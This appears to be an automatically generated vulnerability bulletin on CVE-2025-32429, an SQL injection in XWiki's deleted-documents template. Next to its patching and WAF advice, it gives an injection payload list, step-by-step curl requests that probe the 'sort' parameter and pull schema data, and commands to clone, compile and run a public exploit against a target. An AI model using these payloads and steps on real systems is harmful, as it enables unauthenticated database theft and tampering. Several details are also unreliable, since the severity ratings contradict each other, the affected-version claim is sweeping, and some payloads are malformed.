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CVE-2025-32429 is a critical SQL injection vulnerability affecting the XWiki platform, specifically within the `getdeleteddocuments.vm` template. The flaw resides in the `sort` parameter, which fails to properly sanitize user-supplied input before incorporating it into an SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands into the backend database. The vulnerability exists because the application constructs a database query using the `sort` parameter without sufficient validation or parameterization. An attacker can manipulate the `sort` parameter by appending malicious SQL syntax, such as `OR ‘1’=’1` or time-based payloads like AND (SELECT FROM (SELECT(SLEEP(5)))YjoC). Successful exploitation enables the attacker to read, modify, or delete sensitive data from the database. The attack is performed remotely over the network without requiring authentication, making it highly dangerous. The CVSS v4.0 base score is 9.3, reflecting the high impact on confidentiality, integrity, and availability. The vulnerability was publicly disclosed in July 2025, and a proof-of-concept exploit has been made available. The XWiki team has released patches to address the issue. Organizations using XWiki are strongly advised to apply the latest security updates immediately. The vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command. Exploitation can lead to full database compromise, data exfiltration, and potential remote code execution depending on database permissions. The attack vector is network-based, with low attack complexity and no privileges required. User interaction is not needed for successful exploitation. The scope is unchanged, but the impact on confidentiality, integrity, and availability is high. This CVE is considered critical due to the ease of exploitation and the severity of potential damage. Security researchers have observed active exploitation attempts in the wild. It is essential to monitor for any suspicious database activity and review logs for unusual `sort` parameter values. The vulnerability highlights the importance of secure coding practices, particularly input validation and parameterized queries. Patching is the primary mitigation strategy. Additionally, implementing a web application firewall (WAF) can provide temporary protection. Regular security audits and penetration testing are recommended to identify similar issues. The CVE-2025-32429 serves as a reminder of the risks associated with SQL injection flaws in widely used platforms. Immediate action is required to mitigate the risk.
DailyCVE Form:
Platform: XWiki
Version: All versions
Vulnerability : SQL Injection
Severity: High
date: 2025-07-24
Prediction: Patch available
What Undercode Say:
curl -X GET "http://target.com/xwiki/bin/getdeleteddocuments.vm?sort=ASC%2C(select%20%20from%20(select(sleep(5)))a)"
const char payload[] = {
"' OR '1",
" ' OR 1 -- -",
" OR \"\" = ",
"\" OR 1 = 1 -- -",
",(select from (select(sleep(5)))a)",
"%2c(select%20%20from%20(select(sleep(5)))a)",
"';WAITFOR DELAY '0:0:05'--",
"AND (SELECT FROM (SELECT(SLEEP(5)))YjoC) AND '%'='",
"AND (SELECT FROM (SELECT(SLEEP(5)))nQIP)",
"AND (SELECT FROM (SELECT(SLEEP(5)))nQIP)--",
"AS INJECTX WHERE 1=1 AND 1=0--",
"WHERE 1=1 AND 1=1"
};
git clone https://github.com/rix4uni/cvemapping.git cd cvemapping/2025/CVE-2025-32429 gcc exploit.c -o exploit -lcurl ./exploit -u http://target.com
How Exploit: (Educational Purposes!)
Step 1: Identify the vulnerable endpoint curl -s "http://target.com/xwiki/bin/getdeleteddocuments.vm?sort=asc" Step 2: Test for SQL injection with a time-based payload curl -s "http://target.com/xwiki/bin/getdeleteddocuments.vm?sort=ASC%2C(select%20%20from%20(select(sleep(5)))a)" Step 3: If delay is observed, extract database information curl -s "http://target.com/xwiki/bin/getdeleteddocuments.vm?sort=ASC,(select%20table_name%20from%20information_schema.tables%20limit%201)"
Protection: from this CVE
Apply the official XWiki security patch Upgrade to the latest version of XWiki Example for Debian-based systems: apt-get update && apt-get install xwiki For manual installations, download the patch from: https://github.com/xwiki/xwiki-platform/security/advisories
Implement a WAF rule to block SQL injection attempts Example ModSecurity rule: SecRule ARGS:sort "@detectSQLi" \ "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"
Restrict database user privileges Ensure the XWiki database user has minimal permissions: GRANT SELECT, INSERT, UPDATE, DELETE ON xwiki. TO 'xwiki_user'@'localhost'; REVOKE FILE, CREATE, DROP, ALTER ON . FROM 'xwiki_user'@'localhost';
Impact:
- Unauthenticated attackers can execute arbitrary SQL commands.
- Full database compromise, including sensitive user data.
- Data exfiltration, modification, or deletion.
- Potential remote code execution depending on database permissions.
- High impact on confidentiality, integrity, and availability.
- CVSS v4.0 base score: 9.3 (Critical).
- Active exploitation observed in the wild.
- Affects all versions of XWiki Platform.
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Sources:
Reported By: github.com
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